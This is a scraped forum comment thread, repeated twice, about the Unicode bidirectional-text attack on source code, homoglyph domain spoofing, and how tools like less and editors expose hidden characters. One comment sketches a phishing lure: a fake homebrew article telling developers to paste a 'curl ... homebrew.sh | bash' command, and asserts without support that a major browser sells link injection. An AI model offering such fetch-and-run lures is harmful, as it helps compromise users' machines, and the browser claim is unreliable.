3 ms·

You're right - their headline is written for attention. It's an exploit of a feature. What I'm interested to know is whether there is any code already out ther

You're right - their headline is written for attention. It's an exploit of a feature. What I'm interested to know is whether there is any code already out there in the wild with this exploit in it? An intelligence service could have exploited this years ago without anyone noticing until now. Unicode is a pathway to all manner of hijinks, including as you say, homoglyph attacks. For instance, on some TLDs I can easily create two different domain names that render identically in the browser.

comex 5y ago
> What I'm interested to know is whether there is any code already out there in the wild with this exploit in it? It's possible, but I doubt it. The paper mentions that Vim isn't vulnerable to the bidirectional attack. Not mentioned in the paper: neither is `less`, the pager, which is used by default for `git diff` and other Git commands. Nor are either of the first two terminals I tried, when `cat`ing the file without a pager. All of the aforementioned programs display the direction markers as either escape sequences highlighted in bright colors, or garbage characters, both of which stand out visually like a sore thumb. Now, that's more a sign of poor Unicode support in those programs than it is anything to their credit. But it does mean that this kind of attack is incredibly brittle, at least in any codebase where some people working on it are likely to be using Unix tools. There's a high chance the aberrant characters will be spotted at some point or other. And once spotted, it's self-evident that it's an attack. I suspect real attacks would try to be more subtle, introducing bugs that could pass as genuine mistakes, at least at first glance.
- kingcharles 5y ago
  It's sad that largescale exploitation of this is stopped only because many applications still have really poor Unicode support and would therefore make the changes human-visible.
  - Groxx 5y ago
    Coding editors also often show this kind of thing intentionally, as those characters are meaningful for interpretation purposes. Many of them are very UTF friendly, but they still show zero-width spaces as e.g. "<zwsp>" on purpose. They've also often shown non-printable ASCII control characters for basically forever. Null bytes and \bel and whatnot are very important despite being "invisible", and they've been around for decades.
    - tetha 5y ago
      I've been bitten by things like this from an entirely unexpected angle - messengers like teams and skype sometimes <helpfully> replace characters like "-" and " " with all manner of more readable unicode characters. More readable, until the YAML parser choked. Since that, I pretty much always run some variant of the gremlins plugin, which highlights pretty much all unicode spaces, dashes and other weird control symbols.
      - Groxx 5y ago
        Chat apps replacing ™ with a horrifically large, poorly-rendered and off-colored "TM" and ruining The Joke™ is a major pet peeve of mine, yeah :| And even worse, it seems to be spreading, as each one blindly copies the horrible decisions of the others. I would disable all of those auto-replacements everywhere if only I could disable all of those auto-replacements everywhere.
  - powersnail 5y ago
    I think making these chars human visible is a feature. Most code editors have features like showing invisible characters, displaying some representation of white space characters, or highlighting control sequences. Because the editor is supposed to edit plain text, which means all characters must be editable. And something can only be editable if they are visible.
- josephcsible 5y ago
  > Now, that's more a sign of poor Unicode support in those programs than it is anything to their credit. But that behavior is intentional. If you want, you could do "alias less='less -r'", and then it would behave the way you want, and you'd become vulnerable to this attack.
  - comex 5y ago
    -r makes it pass all control characters to the terminal. To quote less's man page: > Warning: when the -r option is used, less cannot keep track of the actual appearance of the screen (since this depends on how the screen responds to each type of control character). This is not the same as actually supporting (i.e. being able to keep track of the screen state for) bidirectional text that may legitimately use those characters. For that matter, the terminal may not support it either, as I mentioned. Though, today I learned there has been some effort in recent years to improve bidirectional text handling in terminals and terminal applications, generally: https://www.reddit.com/r/linux/comments/dn8uka/bidirectional_text_arabic_farsi_hebrew_etc/ https://www.reddit.com/r/linux/comments/dn8uka/bidirectional...
KennyBlanken 5y ago
> You're right - their headline is written for attention That or just ignorance. Krebs has zero training or education in computer science or programming.
bmn__ 5y ago
> I can easily create two different domain names that render identically in the browser You can't (any more)¹. That worked for a limited amount of time, then mitigations were put in place, and subsequently standardised as part of Unicode. Everyone who deals with implementations of Unicode is supposed to be knowledgeable about the security relevant aspects, you can bet that the people working on browsers definitely are. <http://p3rl.org/perlre#Script-Runs http://p3rl.org/perlre#Script-Runs> ¹ invitation to prove me wrong, I am on purpose leaning far out the metaphoric window and will gladly eat my words
- _3u10 5y ago
  Doesn't really matter. The major browser is intentionally security compromised, anyway. If you pay the maker of the that browser they'll inject any links you want on most pages on the internet. Just give them the hash of the email / phone number of your target. It helps both economically and passing their security checks if you have more than a thousand victims you want to target. If you want to fool a developer just host it on a github page. If you want to fool anyone else, just do a decent clone of their page. If you want it to appear on most major news network sites, just pay $150 for a newswire. Think about it, if you crafted the right article, maybe about a fork of homebrew etc, and redirected to a github page with a link stating you needed to copy and paste curl http://github.com/asdkfjas/homebrew.sh http://github.com/asdkfjas/homebrew.sh | bash into their terminals how many would do it?
- Amorymeltzer 5y ago
  Came here to provide exactly that link (canonical: <https://perldoc.perl.org/perlre#Script-Runs https://perldoc.perl.org/perlre#Script-Runs>). For those who figured they'd skip over it, it's pretty neat IMO. Perl 5.28 (released 2018) added a new technique for matching patterns that aren't all from the same Unicode script, a "script run." >In most places a single word would never be written in multiple scripts, unless it is a spoofing attack. An infamous example, is >>paypal.com >Those letters could all be Latin (as in the example just above), or they could be all Cyrillic (except for the dot), or they could be a mixture of the two. In the case of an internet address the .com would be in Latin, And any Cyrillic ones would cause it to be a mixture, not a script run.
- 5y ago

comex 5y ago

> What I'm interested to know is whether there is any code already out there in the wild with this exploit in it? It's possible, but I doubt it. The paper mentions that Vim isn't vulnerable to the bidirectional attack. Not mentioned in the paper: neither is `less`, the pager, which is used by default for `git diff` and other Git commands. Nor are either of the first two terminals I tried, when `cat`ing the file without a pager. All of the aforementioned programs display the direction markers as either escape sequences highlighted in bright colors, or garbage characters, both of which stand out visually like a sore thumb. Now, that's more a sign of poor Unicode support in those programs than it is anything to their credit. But it does mean that this kind of attack is incredibly brittle, at least in any codebase where some people working on it are likely to be using Unix tools. There's a high chance the aberrant characters will be spotted at some point or other. And once spotted, it's self-evident that it's an attack. I suspect real attacks would try to be more subtle, introducing bugs that could pass as genuine mistakes, at least at first glance.

kingcharles 5y ago
It's sad that largescale exploitation of this is stopped only because many applications still have really poor Unicode support and would therefore make the changes human-visible.
- Groxx 5y ago
  Coding editors also often show this kind of thing intentionally, as those characters are meaningful for interpretation purposes. Many of them are very UTF friendly, but they still show zero-width spaces as e.g. "<zwsp>" on purpose. They've also often shown non-printable ASCII control characters for basically forever. Null bytes and \bel and whatnot are very important despite being "invisible", and they've been around for decades.
  - tetha 5y ago
    I've been bitten by things like this from an entirely unexpected angle - messengers like teams and skype sometimes <helpfully> replace characters like "-" and " " with all manner of more readable unicode characters. More readable, until the YAML parser choked. Since that, I pretty much always run some variant of the gremlins plugin, which highlights pretty much all unicode spaces, dashes and other weird control symbols.
    - Groxx 5y ago
      Chat apps replacing ™ with a horrifically large, poorly-rendered and off-colored "TM" and ruining The Joke™ is a major pet peeve of mine, yeah :| And even worse, it seems to be spreading, as each one blindly copies the horrible decisions of the others. I would disable all of those auto-replacements everywhere if only I could disable all of those auto-replacements everywhere.
- powersnail 5y ago
  I think making these chars human visible is a feature. Most code editors have features like showing invisible characters, displaying some representation of white space characters, or highlighting control sequences. Because the editor is supposed to edit plain text, which means all characters must be editable. And something can only be editable if they are visible.
josephcsible 5y ago
> Now, that's more a sign of poor Unicode support in those programs than it is anything to their credit. But that behavior is intentional. If you want, you could do "alias less='less -r'", and then it would behave the way you want, and you'd become vulnerable to this attack.
- comex 5y ago
  -r makes it pass all control characters to the terminal. To quote less's man page: > Warning: when the -r option is used, less cannot keep track of the actual appearance of the screen (since this depends on how the screen responds to each type of control character). This is not the same as actually supporting (i.e. being able to keep track of the screen state for) bidirectional text that may legitimately use those characters. For that matter, the terminal may not support it either, as I mentioned. Though, today I learned there has been some effort in recent years to improve bidirectional text handling in terminals and terminal applications, generally: https://www.reddit.com/r/linux/comments/dn8uka/bidirectional_text_arabic_farsi_hebrew_etc/ https://www.reddit.com/r/linux/comments/dn8uka/bidirectional...

KennyBlanken 5y ago

> You're right - their headline is written for attention That or just ignorance. Krebs has zero training or education in computer science or programming.

bmn__ 5y ago

> I can easily create two different domain names that render identically in the browser You can't (any more)¹. That worked for a limited amount of time, then mitigations were put in place, and subsequently standardised as part of Unicode. Everyone who deals with implementations of Unicode is supposed to be knowledgeable about the security relevant aspects, you can bet that the people working on browsers definitely are. <http://p3rl.org/perlre#Script-Runs http://p3rl.org/perlre#Script-Runs> ¹ invitation to prove me wrong, I am on purpose leaning far out the metaphoric window and will gladly eat my words

_3u10 5y ago
Doesn't really matter. The major browser is intentionally security compromised, anyway. If you pay the maker of the that browser they'll inject any links you want on most pages on the internet. Just give them the hash of the email / phone number of your target. It helps both economically and passing their security checks if you have more than a thousand victims you want to target. If you want to fool a developer just host it on a github page. If you want to fool anyone else, just do a decent clone of their page. If you want it to appear on most major news network sites, just pay $150 for a newswire. Think about it, if you crafted the right article, maybe about a fork of homebrew etc, and redirected to a github page with a link stating you needed to copy and paste curl http://github.com/asdkfjas/homebrew.sh http://github.com/asdkfjas/homebrew.sh | bash into their terminals how many would do it?
Amorymeltzer 5y ago
Came here to provide exactly that link (canonical: <https://perldoc.perl.org/perlre#Script-Runs https://perldoc.perl.org/perlre#Script-Runs>). For those who figured they'd skip over it, it's pretty neat IMO. Perl 5.28 (released 2018) added a new technique for matching patterns that aren't all from the same Unicode script, a "script run." >In most places a single word would never be written in multiple scripts, unless it is a spoofing attack. An infamous example, is >>paypal.com >Those letters could all be Latin (as in the example just above), or they could be all Cyrillic (except for the dot), or they could be a mixture of the two. In the case of an internet address the .com would be in Latin, And any Cyrillic ones would cause it to be a mixture, not a script run.
5y ago